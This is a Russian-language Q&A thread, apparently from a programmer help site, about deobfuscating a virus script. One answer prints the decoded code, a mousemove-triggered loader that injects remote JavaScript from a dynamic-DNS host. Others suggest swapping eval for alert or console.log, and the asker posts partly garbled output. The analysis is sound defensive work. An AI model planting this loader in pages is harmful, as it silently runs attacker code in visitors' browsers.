Как разобрать, что делает вирусный скрипт?

Question

[Andrello]

jsfiddle.net/zh7rZ/4
С чего начать, в какую сторону копать?

Comments

[Andrello]

Опасные места в комментериях

Answer 1

[4NATIC]

(function() {

	var url = 'http://2q0bw4b.lpjbikjwor.kicks-ass.net/g/';

	if (typeof window.xyzflag === 'undefined') {

		window.xyzflag = 0;

	}

	document.onmousemove = function() {

		if (window.xyzflag === 0) {

			window.xyzflag = 1;

			var head = document.getElementsByTagName('head')[0];

			var script = document.createElement('script');

			script.type = 'text/javascript';

			script.onreadystatechange = function () {

				if (this.readyState == 'complete') {

					window.xyzflag = 2;

				}

			};

			script.onload = function() {

				window.xyzflag = 2;

			};

			script.src = url + Math.random().toString().substring(3) + '.js';

			head.appendChild(script);

		}

	};

})();

Comments

[Andrello]

@4NATIC Интересуют этапы восстановления кода

[4NATIC]

Все очень просто - заменяете eval на alert.

Answer 2

[Антон]

Заменяйте eval на console.log, вставляете получившийся код на место eval и потихоньку преобразуйте.
Ну и названия функций автозаменой где можно на человеческие поменяйте

Answer 3

[Andrello]

@sHinE Console.log пробовал, возвращает

(
	ttȔȉȇlpkj.ȒȊȞǰǭȄ.ȃȠ'ɋɌɏ
ȁyzaȭ
	ǚ
	mentoveƐn
ƪinowagȭ) 
			oȁlȃ Ȇ= otűeneaȍȏɁȖɃȜș	Ǹ ȄcrǾǽcȜsriptƐ ȅvacripƴȄech = ȿǼ()		ƪƧƖƊƋƕdȌȎ dwƔz		;			Ȇ ǜ		w =2Ȝ;
	ȇurl + MȐɗɍɘ().3) '
	ƩƦƢƥ.ppCt;	
;
()